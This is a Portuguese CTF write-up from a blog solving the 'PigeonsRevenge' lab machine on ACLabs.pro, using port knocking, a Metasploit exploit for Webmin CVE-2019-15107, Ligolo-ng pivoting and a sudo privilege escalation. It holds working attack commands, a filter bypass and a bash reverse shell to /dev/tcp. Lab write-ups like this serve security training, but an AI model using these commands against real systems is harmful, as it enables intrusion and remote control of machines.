Como Punir um Pardal Digital: Resolvendo o Desafio PigeonsRevenge da ACLabs.pro

Um relato detalhado da resolução do desafio PigeonsRevenge da plataforma ACLabs.pro, explorando desde a fase de reconhecimento até a escalada de privilégios e a obtenção das flags. O artigo aborda técnicas de port knocking, exploração de vulnerabilidades em Webmin e pivoting com Ligolo-ng.

MundiX News·17 de abril de 2026·15 min de leitura·👁 9 views

Como Punir um Pardal Digital: Resolvendo o Desafio PigeonsRevenge da ACLabs.pro

Este artigo detalha a jornada para resolver o desafio PigeonsRevenge da plataforma ACLabs.pro, uma tarefa que envolveu uma combinação de técnicas de reconhecimento, exploração de vulnerabilidades e escalada de privilégios.

Categoria: Web/Linux/Forensics/PrivEsc Dificuldade: Médio/Difícil (aproximadamente 70 de 100 'pombos')

O desafio fazia parte da 5ª temporada do CTF (Capture The Flag) hospedado na ACLabs. A máquina apresentava um cenário incomum com vulnerabilidades interessantes.

Condição do Desafio:

Boris é um pombo-correio veterano. Katya, sua amada, fugiu com um Pardal insolente. Após três dias de bebedeira, Boris elaborou um plano de vingança. Este plano agora está em suas mãos. Ajude Boris a infiltrar-se no ninho digital do Pardal, roubar sua conta e obter acesso root. Siga as anotações embriagadas – elas revelam tudo e mais.

Cadeia de Ataque:

A cadeia de ataque "PigeonsRevenge" combina uma CVE (Common Vulnerabilities and Exposures) crítica real (Webmin 1.910 – CVE-2019-15107, 9.8 CRITICAL) com um conjunto de técnicas clássicas ATT&CK: reconhecimento ativo → port knocking → exploração de aplicação pública → Metasploit reverse-shell → tunelamento Ligolo-ng → injeção através de variável de ambiente em um binário customizado → bypass de filtro com tabulação → persistência com privilégios root.

1. Reconhecimento

Primeiro, obtemos o endereço IP e escaneamos as portas:

bash
sudo nmap -sC -sV -v 10.10.10.215

O resultado revela a porta 80 (HTTP) aberta, executando Nginx. Ao acessar o site, encontramos um vídeo e uma aba chamada “Plano de Vingança”. As outras abas são inativas e o código fonte não revela nada de interessante. Como não há outras portas abertas e o fuzzing inicial não retornou nada, focamos no “Plano de Vingança”.

O plano menciona brute force de senhas, scripting em Python e "bater na porta", indicando a técnica de port knocking. Baixamos o vídeo da página inicial e o analisamos com exiftool para encontrar pistas nos comentários:

bash
exiftool video.mp4

O comentário revela: "Sparrow nest door code blyat' 2 8 10", sugerindo a sequência de portas para o port knocking.

Usamos o nmap para realizar o port knocking:

bash
sudo nmap -Pn -p 2,8,10 10.10.10.215

Após o port knocking, um novo escaneamento revela a porta 10000 aberta:

bash
sudo nmap -Pn -sV -v  10.10.10.215

A porta 10000 executa o Webmin, um painel de controle para servidores web. Acessando https://10.10.10.215:10000, chegamos à página de login do Webmin.

2. Exploração

As senhas mencionadas no “plano de vingança” não funcionaram. Buscamos por vulnerabilidades no Webmin 1.910 e encontramos a CVE-2019-15107.

O Metasploit possui um exploit para essa vulnerabilidade (webmin_backdoor) que não requer login nem senha. É crucial configurar a opção set ssl true para que o exploit funcione.

msf exploit(linux/http/webmin_backdoor) > set rhosts 10.10.10.215
rhosts => 10.10.10.215
msf exploit(linux/http/webmin_backdoor) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf exploit(linux/http/webmin_backdoor) > set lhost tun0
lhost => 10.20.10.3
msf exploit(linux/http/webmin_backdoor) > set srvhost tun0
srvhost => 10.20.10.3
msf exploit(linux/http/webmin_backdoor) > run

Após a execução do exploit, obtemos uma reverse shell como root.

id
uid=0(root) gid=0(root) groups=0(root)

Conseguimos acesso root ao container e lemos a primeira flag:

cat /flag1
flag_73b93510202e14edfc2d07087c2052d4

3. Escape do Container e Segundo Flag

Descobrimos o endereço IP interno do container:

ip a

Analisando o arquivo .bash_history do usuário root, encontramos tentativas de conexão SSH para o host 172.18.0.1 pelo usuário sparrow:

cat /root/.bash_history
ssh sparrow@172.18.0.1

Para acessar este host, utilizamos o Ligolo-ng para criar um túnel.

Primeiro, transferimos o agente Ligolo-ng para a máquina alvo e executamos o proxy no nosso host:

bash
sudo ligolo-proxy -selfcert

No container, executamos o agente:

bash
./ligolo-ng_agent_0.8.3_linux_amd64 -ignore-cert -connect 10.20.10.4:11601

Configuramos o túnel Ligolo-ng para rotear o tráfego para a rede interna:

ligolo-ng » session
? Specify a session : 1 - root@c14c20cf8e71 - 10.10.10.215:36806 - 0242ac120002
[Agent : root@c14c20cf8e71] » autoroute
? Select routes to add: 172.18.0.2/16
? Create a new interface or use an existing one? Create a new interface
? Enter interface name (leave empty for random name): pigeon
INFO[0527] Using custom interface name: pigeon           
INFO[0527] Interface pigeon configured (will be created on tunnel start) 
INFO[0527] Creating routes for pigeon...                 
? Start the tunnel? Yes

Com o túnel estabelecido, tentamos conectar via SSH como o usuário sparrow:

bash
ssh sparrow@172.18.0.1

Descobrimos a senha do usuário sparrow (KatyaMyQueen) através de brute force, conforme indicado no plano de vingança.

bash
ssh sparrow@172.18.0.1
sparrow@sparrow's password: KatyaMyQueen

Obtemos acesso ao sistema como o usuário sparrow e encontramos a segunda flag:

bash
cat flag2
flag_8c3f96a510d78385bd8b8223bdfc17d2

4. Escalada de Privilégios e Flag Final

Verificamos os comandos que o usuário sparrow pode executar com privilégios sudo:

bash
sudo -l

Descobrimos que o usuário sparrow pode executar o script /usr/bin/pigeon_root como root sem senha.

Analisamos o script com o Ghidra e identificamos que ele lê a variável de ambiente PIGEON_SEEDS e executa seu conteúdo como um comando. O script possui um filtro que substitui caracteres especiais por underscores.

Para contornar o filtro, utilizamos a tabulação como separador:

bash
sudo PIGEON_SEEDS=$'cat\t/root/root' /usr/bin/pigeon_root --crumbs /root/root

Alternativamente, podemos criar um script com um reverse shell e executá-lo através do PIGEON_SEEDS:

bash
echo '#!/bin/bash\nbash -i >& /dev/tcp/10.20.10.4/4444 0>&1' > /tmp/script.sh
chmod +x /tmp/script.sh
sudo PIGEON_SEEDS='/tmp/script.sh' /usr/bin/pigeon_root --crumbs /root/root

Em ambos os casos, obtemos acesso root e lemos a terceira flag:

bash
cat /root/root
flag_670a6e9beba41ca37d61b295a5ae06c4

Avaliação da CVE

CVEProduto/ComponenteTipoCVSS 3.xCriticidadeURL NVD
CVE-2019-15107Webmin ≤ 1.920 (1.910)OS Command Injection / Backdoor em password_change.cgi9.8CRITICALhttps://nvd.nist.gov/vuln/detail/CVE-2019-15107

Conclusão

O desafio PigeonsRevenge foi uma experiência interessante que envolveu diversas técnicas de hacking. Apesar de não ser o desafio mais complexo, exigiu um bom entendimento de port knocking, exploração de vulnerabilidades web e escalada de privilégios.

🛡️⚡

Pare de pesquisar. Comece a hackear.

O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.

Testar grátis por 7 dias →

Sem cartão para começar · Planos a partir de R$49/mês

📤 Compartilhar & Baixar

📩 Newsletter MundiX

Receba novidades de cibersegurança + um checklist de pentest grátis. Sem spam.

Ao assinar você concorda em receber e-mails. Cancele quando quiser.